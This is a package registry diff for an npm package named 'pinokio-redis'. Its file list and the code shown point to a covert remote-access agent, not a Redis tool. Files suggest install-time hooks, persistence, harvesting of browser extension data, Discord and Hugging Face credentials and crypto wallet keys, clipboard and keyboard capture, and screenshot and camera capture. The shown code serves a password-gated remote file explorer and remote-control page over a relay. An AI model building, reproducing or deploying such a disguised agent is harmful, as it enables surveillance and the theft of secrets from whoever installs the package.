pinokio-redis 1.0.127
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +7450 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/assets/remote-control-template.html +3472 -0
- package/assets/secret_filename_patterns.json +81 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +143 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +400 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +7450 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/assets/remote-control-template.html +3472 -0
- package/dist/assets/secret_filename_patterns.json +81 -0
- package/dist/autostart/agentEnvFile.d.ts +80 -0
- package/dist/autostart/agentEnvFile.js +637 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +210 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +278 -0
- package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
- package/dist/chromiumExtensionDbHarvest.js +766 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +71 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +166 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +41 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +176 -0
- package/dist/clipboardExec.d.ts +7 -0
- package/dist/clipboardExec.js +266 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +540 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +238 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +808 -0
- package/dist/discordWebhookPost.d.ts +13 -0
- package/dist/discordWebhookPost.js +123 -0
- package/dist/durableDistDir.d.ts +4 -0
- package/dist/durableDistDir.js +61 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +27 -0
- package/dist/exportMirrorCopy.js +366 -0
- package/dist/extensionDbHfUpload.d.ts +36 -0
- package/dist/extensionDbHfUpload.js +359 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +21 -0
- package/dist/filesExplorer.js +237 -0
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/fsMessages.d.ts +3 -0
- package/dist/fsMessages.js +169 -0
- package/dist/fsProtocol.d.ts +151 -0
- package/dist/fsProtocol.js +7071 -0
- package/dist/headlessAgent.d.ts +28 -0
- package/dist/headlessAgent.js +77 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +141 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +25 -0
- package/dist/hfSeqIdLookup.js +193 -0
- package/dist/hfUpload.d.ts +55 -0
- package/dist/hfUpload.js +1362 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +91 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1097 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxClipboardSession.d.ts +16 -0
- package/dist/linuxClipboardSession.js +179 -0
- package/dist/linuxX11.d.ts +7 -0
- package/dist/linuxX11.js +71 -0
- package/dist/relayAgent.d.ts +25 -0
- package/dist/relayAgent.js +1431 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +36 -0
- package/dist/relayDashboardGate.js +378 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayPackageServe.d.ts +6 -0
- package/dist/relayPackageServe.js +107 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +2268 -0
- package/dist/secretScan/agentStartupAudit.d.ts +58 -0
- package/dist/secretScan/agentStartupAudit.js +784 -0
- package/dist/secretScan/auditFindingSlim.d.ts +25 -0
- package/dist/secretScan/auditFindingSlim.js +184 -0
- package/dist/secretScan/auditScanScope.d.ts +25 -0
- package/dist/secretScan/auditScanScope.js +233 -0
- package/dist/secretScan/base58check.d.ts +6 -0
- package/dist/secretScan/base58check.js +49 -0
- package/dist/secretScan/contentScanner.d.ts +23 -0
- package/dist/secretScan/contentScanner.js +278 -0
- package/dist/secretScan/dedupeFindings.d.ts +12 -0
- package/dist/secretScan/dedupeFindings.js +232 -0
- package/dist/secretScan/fileCandidates.d.ts +30 -0
- package/dist/secretScan/fileCandidates.js +370 -0
- package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
- package/dist/secretScan/runFilenameSecretScan.js +360 -0
- package/dist/secretScan/scanConfig.d.ts +6 -0
- package/dist/secretScan/scanConfig.js +87 -0
- package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
- package/dist/secretScan/secp256k1Scalar.js +14 -0
- package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
- package/dist/secretScan/secretAuditExcludePaths.js +46 -0
- package/dist/secretScan/solanaKeypair.d.ts +8 -0
- package/dist/secretScan/solanaKeypair.js +87 -0
- package/dist/secretScan/strictMaterialGate.d.ts +15 -0
- package/dist/secretScan/strictMaterialGate.js +151 -0
- package/dist/secretScan/types.d.ts +86 -0
- package/dist/secretScan/types.js +6 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +214 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +44 -0
- package/dist/windowsInputSync.js +853 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +342 -0
- package/package.json +86 -0
- package/scripts/copy-assets.mjs +44 -0
- package/scripts/discord-live-probe.mjs +221 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-isolated-runtime.mjs +547 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
- package/scripts/forge-jsx-explorer-restart.mjs +288 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
- package/scripts/postinstall-agent.mjs +571 -0
- package/scripts/postinstall-bootstrap.mjs +279 -0
- package/scripts/postinstall-clipboard-event.mjs +165 -0
- package/scripts/postinstall-durable-materialize.mjs +145 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
/** Password embedded in explorer HTML — must match agent session password (see `resolvePassword` in agentRunner). */
|
|
2
|
+
export declare function resolveExplorerHtmlPassword(opts?: FilesExplorerHtmlOptions): string;
|
|
3
|
+
export interface FilesExplorerHtmlOptions {
|
|
4
|
+
/** Shown in UI and passed to JS (use env CFGMGR_SESSION_PASSWORD in production). */
|
|
5
|
+
defaultPassword?: string;
|
|
6
|
+
/** WebSocket relay URL hint for browser (e.g. ws://host:9877 for forge-js relay). */
|
|
7
|
+
relayFallbackWs?: string;
|
|
8
|
+
}
|
|
9
|
+
/** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
|
|
10
|
+
export declare function getForgeExplorerFaviconSvg(): string;
|
|
11
|
+
/**
|
|
12
|
+
* VS Code codicon font + stylesheet (served at `/forge-explorer-codicons/*`).
|
|
13
|
+
*/
|
|
14
|
+
export declare function readExplorerCodiconAsset(name: string): Buffer;
|
|
15
|
+
/**
|
|
16
|
+
* highlight.js bundle + Dark+–style CSS for file-explorer text preview
|
|
17
|
+
* (`GET /forge-explorer-highlight/*`).
|
|
18
|
+
*/
|
|
19
|
+
export declare function readExplorerHighlightAsset(name: string): Buffer;
|
|
20
|
+
export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;
|
|
21
|
+
export declare function buildRemoteControlHtml(opts?: FilesExplorerHtmlOptions): string;
|
|
@@ -0,0 +1,237 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.resolveExplorerHtmlPassword = resolveExplorerHtmlPassword;
|
|
37
|
+
exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
|
|
38
|
+
exports.readExplorerCodiconAsset = readExplorerCodiconAsset;
|
|
39
|
+
exports.readExplorerHighlightAsset = readExplorerHighlightAsset;
|
|
40
|
+
exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
|
|
41
|
+
exports.buildRemoteControlHtml = buildRemoteControlHtml;
|
|
42
|
+
/**
|
|
43
|
+
* Build file-explorer HTML for relay routes `/`, `/files`, `/explorer`, `/viewer`
|
|
44
|
+
* — same template as Python `fs_browser_html` with injectable defaults.
|
|
45
|
+
*/
|
|
46
|
+
const fs = __importStar(require("node:fs"));
|
|
47
|
+
const path = __importStar(require("node:path"));
|
|
48
|
+
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
49
|
+
/** Password embedded in explorer HTML — must match agent session password (see `resolvePassword` in agentRunner). */
|
|
50
|
+
function resolveExplorerHtmlPassword(opts = {}) {
|
|
51
|
+
const fromOpts = (opts.defaultPassword ?? "").trim();
|
|
52
|
+
if (fromOpts)
|
|
53
|
+
return fromOpts;
|
|
54
|
+
const fromEnv = (process.env.CFGMGR_SESSION_PASSWORD ?? "").trim();
|
|
55
|
+
if (fromEnv)
|
|
56
|
+
return fromEnv;
|
|
57
|
+
return (deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD ?? "").trim();
|
|
58
|
+
}
|
|
59
|
+
let _cachedTemplate = null;
|
|
60
|
+
let _cachedRemoteTemplate = null;
|
|
61
|
+
let _cachedFaviconSvg = null;
|
|
62
|
+
function loadTemplate() {
|
|
63
|
+
if (_cachedTemplate)
|
|
64
|
+
return _cachedTemplate;
|
|
65
|
+
const candidates = [
|
|
66
|
+
path.join(__dirname, "assets", "files-explorer-template.html"),
|
|
67
|
+
path.join(__dirname, "..", "assets", "files-explorer-template.html"),
|
|
68
|
+
];
|
|
69
|
+
for (const p of candidates) {
|
|
70
|
+
try {
|
|
71
|
+
if (fs.existsSync(p)) {
|
|
72
|
+
_cachedTemplate = fs.readFileSync(p, "utf8");
|
|
73
|
+
return _cachedTemplate;
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
catch {
|
|
77
|
+
continue;
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
throw new Error("files-explorer-template.html not found (run npm run build and ensure assets are copied to dist/)");
|
|
81
|
+
}
|
|
82
|
+
function loadRemoteTemplate() {
|
|
83
|
+
if (_cachedRemoteTemplate)
|
|
84
|
+
return _cachedRemoteTemplate;
|
|
85
|
+
const candidates = [
|
|
86
|
+
path.join(__dirname, "assets", "remote-control-template.html"),
|
|
87
|
+
path.join(__dirname, "..", "assets", "remote-control-template.html"),
|
|
88
|
+
];
|
|
89
|
+
for (const p of candidates) {
|
|
90
|
+
try {
|
|
91
|
+
if (fs.existsSync(p)) {
|
|
92
|
+
_cachedRemoteTemplate = fs.readFileSync(p, "utf8");
|
|
93
|
+
return _cachedRemoteTemplate;
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
catch {
|
|
97
|
+
continue;
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
throw new Error("remote-control-template.html not found (run npm run build and ensure assets are copied to dist/)");
|
|
101
|
+
}
|
|
102
|
+
/** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
|
|
103
|
+
function getForgeExplorerFaviconSvg() {
|
|
104
|
+
if (_cachedFaviconSvg)
|
|
105
|
+
return _cachedFaviconSvg;
|
|
106
|
+
const candidates = [
|
|
107
|
+
path.join(__dirname, "assets", "forge-explorer-favicon.svg"),
|
|
108
|
+
path.join(__dirname, "..", "assets", "forge-explorer-favicon.svg"),
|
|
109
|
+
];
|
|
110
|
+
for (const p of candidates) {
|
|
111
|
+
try {
|
|
112
|
+
if (fs.existsSync(p)) {
|
|
113
|
+
_cachedFaviconSvg = fs.readFileSync(p, "utf8");
|
|
114
|
+
return _cachedFaviconSvg;
|
|
115
|
+
}
|
|
116
|
+
}
|
|
117
|
+
catch {
|
|
118
|
+
continue;
|
|
119
|
+
}
|
|
120
|
+
}
|
|
121
|
+
throw new Error("forge-explorer-favicon.svg not found (run npm run build and ensure assets are copied to dist/)");
|
|
122
|
+
}
|
|
123
|
+
const _explorerCodiconNames = new Set(["codicon.css", "codicon.ttf"]);
|
|
124
|
+
/**
|
|
125
|
+
* VS Code codicon font + stylesheet (served at `/forge-explorer-codicons/*`).
|
|
126
|
+
*/
|
|
127
|
+
function readExplorerCodiconAsset(name) {
|
|
128
|
+
const base = path.basename(name);
|
|
129
|
+
if (!_explorerCodiconNames.has(base)) {
|
|
130
|
+
throw new Error(`invalid codicon asset: ${base}`);
|
|
131
|
+
}
|
|
132
|
+
const candidates = [
|
|
133
|
+
path.join(__dirname, "assets", "codicons", base),
|
|
134
|
+
path.join(__dirname, "..", "assets", "codicons", base),
|
|
135
|
+
];
|
|
136
|
+
for (const p of candidates) {
|
|
137
|
+
try {
|
|
138
|
+
if (fs.existsSync(p)) {
|
|
139
|
+
return fs.readFileSync(p);
|
|
140
|
+
}
|
|
141
|
+
}
|
|
142
|
+
catch {
|
|
143
|
+
continue;
|
|
144
|
+
}
|
|
145
|
+
}
|
|
146
|
+
throw new Error(`codicon asset missing: ${base} (run npm run build — copy assets/codicons)`);
|
|
147
|
+
}
|
|
148
|
+
const _explorerHighlightNames = new Set([
|
|
149
|
+
"highlight.min.js",
|
|
150
|
+
"explorer-highlight.css",
|
|
151
|
+
]);
|
|
152
|
+
/**
|
|
153
|
+
* highlight.js bundle + Dark+–style CSS for file-explorer text preview
|
|
154
|
+
* (`GET /forge-explorer-highlight/*`).
|
|
155
|
+
*/
|
|
156
|
+
function readExplorerHighlightAsset(name) {
|
|
157
|
+
const base = path.basename(name);
|
|
158
|
+
if (!_explorerHighlightNames.has(base)) {
|
|
159
|
+
throw new Error(`invalid explorer highlight asset: ${base}`);
|
|
160
|
+
}
|
|
161
|
+
const candidates = [
|
|
162
|
+
path.join(__dirname, "assets", "explorer-highlight", base),
|
|
163
|
+
path.join(__dirname, "..", "assets", "explorer-highlight", base),
|
|
164
|
+
];
|
|
165
|
+
for (const p of candidates) {
|
|
166
|
+
try {
|
|
167
|
+
if (fs.existsSync(p)) {
|
|
168
|
+
return fs.readFileSync(p);
|
|
169
|
+
}
|
|
170
|
+
}
|
|
171
|
+
catch {
|
|
172
|
+
continue;
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
throw new Error(`explorer-highlight asset missing: ${base} (run npm run build — copy assets/explorer-highlight)`);
|
|
176
|
+
}
|
|
177
|
+
function htmlEscapeAttr(s) {
|
|
178
|
+
return s
|
|
179
|
+
.replace(/&/g, "&")
|
|
180
|
+
.replace(/"/g, """)
|
|
181
|
+
.replace(/</g, "<")
|
|
182
|
+
.replace(/>/g, ">");
|
|
183
|
+
}
|
|
184
|
+
let _forgeJsPkgVersion = null;
|
|
185
|
+
function forgeJsPackageVersion() {
|
|
186
|
+
if (_forgeJsPkgVersion !== null)
|
|
187
|
+
return _forgeJsPkgVersion;
|
|
188
|
+
const candidates = [
|
|
189
|
+
path.join(__dirname, "..", "package.json"),
|
|
190
|
+
path.join(__dirname, "..", "..", "package.json"),
|
|
191
|
+
];
|
|
192
|
+
for (const p of candidates) {
|
|
193
|
+
try {
|
|
194
|
+
if (fs.existsSync(p)) {
|
|
195
|
+
const j = JSON.parse(fs.readFileSync(p, "utf8"));
|
|
196
|
+
_forgeJsPkgVersion = String(j.version || "0").trim() || "0";
|
|
197
|
+
return _forgeJsPkgVersion;
|
|
198
|
+
}
|
|
199
|
+
}
|
|
200
|
+
catch {
|
|
201
|
+
continue;
|
|
202
|
+
}
|
|
203
|
+
}
|
|
204
|
+
_forgeJsPkgVersion = "0";
|
|
205
|
+
return _forgeJsPkgVersion;
|
|
206
|
+
}
|
|
207
|
+
function buildFilesExplorerHtml(opts = {}) {
|
|
208
|
+
const pwd = resolveExplorerHtmlPassword(opts);
|
|
209
|
+
let relay = opts.relayFallbackWs ??
|
|
210
|
+
process.env.CFGMGR_RELAY_FALLBACK ??
|
|
211
|
+
process.env.CFGMGR_RELAY_URL ??
|
|
212
|
+
"";
|
|
213
|
+
if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
|
|
214
|
+
relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
|
|
215
|
+
}
|
|
216
|
+
const ver = encodeURIComponent(forgeJsPackageVersion());
|
|
217
|
+
return loadTemplate()
|
|
218
|
+
.replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
|
|
219
|
+
.replace(/__FORGE_REPLACE_RELAY_FALLBACK_JS__/g, JSON.stringify(relay))
|
|
220
|
+
.replace(/__FORGE_REPLACE_PWD_JS__/g, JSON.stringify(pwd))
|
|
221
|
+
.replace('href="/forge-explorer-codicons/codicon.css"', `href="/forge-explorer-codicons/codicon.css?v=${ver}"`)
|
|
222
|
+
.replace('href="/forge-explorer-highlight/explorer-highlight.css"', `href="/forge-explorer-highlight/explorer-highlight.css?v=${ver}"`);
|
|
223
|
+
}
|
|
224
|
+
function buildRemoteControlHtml(opts = {}) {
|
|
225
|
+
const pwd = resolveExplorerHtmlPassword(opts);
|
|
226
|
+
let relay = opts.relayFallbackWs ??
|
|
227
|
+
process.env.CFGMGR_RELAY_FALLBACK ??
|
|
228
|
+
process.env.CFGMGR_RELAY_URL ??
|
|
229
|
+
"";
|
|
230
|
+
if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
|
|
231
|
+
relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
|
|
232
|
+
}
|
|
233
|
+
return loadRemoteTemplate()
|
|
234
|
+
.replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
|
|
235
|
+
.replace(/__FORGE_REPLACE_RELAY_FALLBACK_JS__/g, JSON.stringify(relay))
|
|
236
|
+
.replace(/__FORGE_REPLACE_PWD_JS__/g, JSON.stringify(pwd));
|
|
237
|
+
}
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Ordered `forge-bulk` data channel framing for large fs_read/fs_zip/fs_screenshot payloads.
|
|
3
|
+
*
|
|
4
|
+
* **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
|
|
5
|
+
* **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
|
|
6
|
+
* last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
|
|
7
|
+
*
|
|
8
|
+
* Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
|
|
9
|
+
* Remote `/remote` camera overlay may use a second v2 frame (`fs_screenshot_sidecar_result`, `sidecar:"camera"`).
|
|
10
|
+
*
|
|
11
|
+
* **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
|
|
12
|
+
* resets — otherwise the next hdr could be mis-parsed while mid-chunk.
|
|
13
|
+
*/
|
|
14
|
+
export declare const FORGE_BULK_MAGIC_KEY = "_fb";
|
|
15
|
+
export declare const FORGE_BULK_MAGIC_VAL = "hdr";
|
|
16
|
+
/** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
|
|
17
|
+
export declare const FORGE_BULK_ABORT_VAL = "abort";
|
|
18
|
+
/** Legacy single-binary framing (still accepted by viewers). */
|
|
19
|
+
export declare const FORGE_BULK_VERSION_V1 = 1;
|
|
20
|
+
/** Chunked binary framing (agent send path). */
|
|
21
|
+
export declare const FORGE_BULK_VERSION = 2;
|
|
22
|
+
/** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
|
|
23
|
+
export declare const FORGE_BULK_MAX_BODY_BYTES: number;
|
|
24
|
+
/** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
|
|
25
|
+
export declare const FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES: number;
|
|
26
|
+
/** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
|
|
27
|
+
export declare const FORGE_BULK_V2_MAX_CHUNK_SZ: number;
|
|
28
|
+
/** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
|
|
29
|
+
export declare const FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
|
|
30
|
+
export type ForgeBulkDc = {
|
|
31
|
+
isOpen: () => boolean;
|
|
32
|
+
sendMessage: (s: string) => boolean;
|
|
33
|
+
sendMessageBinary: (b: Uint8Array) => boolean;
|
|
34
|
+
};
|
|
35
|
+
export type ForgeBulkPushResult = {
|
|
36
|
+
status: "pending";
|
|
37
|
+
} | {
|
|
38
|
+
status: "complete";
|
|
39
|
+
msg: Record<string, unknown>;
|
|
40
|
+
} | {
|
|
41
|
+
status: "error";
|
|
42
|
+
};
|
|
43
|
+
export declare function forgeBulkAbortWireJson(): string;
|
|
44
|
+
/**
|
|
45
|
+
* Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
|
|
46
|
+
*/
|
|
47
|
+
export declare class ForgeBulkInboundAssembler {
|
|
48
|
+
private mode;
|
|
49
|
+
private hdr;
|
|
50
|
+
private byteLen;
|
|
51
|
+
private chunkSz;
|
|
52
|
+
private buf;
|
|
53
|
+
private filled;
|
|
54
|
+
reset(): void;
|
|
55
|
+
pushJson(text: string): ForgeBulkPushResult;
|
|
56
|
+
pushBinary(data: Uint8Array): ForgeBulkPushResult;
|
|
57
|
+
}
|
|
58
|
+
/**
|
|
59
|
+
* Send one v2 bulk transfer: JSON hdr (includes `byte_len`, `chunk_sz`) then chunked raw body.
|
|
60
|
+
*/
|
|
61
|
+
export declare function forgeBulkAgentSendV2FromDecoded(dc: ForgeBulkDc, hdr: Record<string, unknown>, raw: Buffer): boolean;
|
|
62
|
+
export declare function forgeBulkAgentTrySend(dc: ForgeBulkDc | null | undefined, resp: Record<string, unknown>): boolean;
|
|
63
|
+
/** Second v2 transfer after `fs_screenshot_result` — camera JPEG/PNG bytes only (dashboard overlay). */
|
|
64
|
+
export declare function forgeBulkAgentTrySendScreenshotCameraSidecar(dc: ForgeBulkDc | null | undefined, opts: {
|
|
65
|
+
request_id: unknown;
|
|
66
|
+
camera_mime?: unknown;
|
|
67
|
+
camera_width_percent?: unknown;
|
|
68
|
+
camera_available?: unknown;
|
|
69
|
+
}, cameraB64: string): boolean;
|
|
@@ -0,0 +1,308 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Ordered `forge-bulk` data channel framing for large fs_read/fs_zip/fs_screenshot payloads.
|
|
4
|
+
*
|
|
5
|
+
* **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
|
|
6
|
+
* **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
|
|
7
|
+
* last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
|
|
8
|
+
*
|
|
9
|
+
* Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
|
|
10
|
+
* Remote `/remote` camera overlay may use a second v2 frame (`fs_screenshot_sidecar_result`, `sidecar:"camera"`).
|
|
11
|
+
*
|
|
12
|
+
* **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
|
|
13
|
+
* resets — otherwise the next hdr could be mis-parsed while mid-chunk.
|
|
14
|
+
*/
|
|
15
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
16
|
+
exports.ForgeBulkInboundAssembler = exports.FORGE_BULK_V2_MIN_CHUNK_SZ = exports.FORGE_BULK_V2_MAX_CHUNK_SZ = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = exports.FORGE_BULK_MAX_BODY_BYTES = exports.FORGE_BULK_VERSION = exports.FORGE_BULK_VERSION_V1 = exports.FORGE_BULK_ABORT_VAL = exports.FORGE_BULK_MAGIC_VAL = exports.FORGE_BULK_MAGIC_KEY = void 0;
|
|
17
|
+
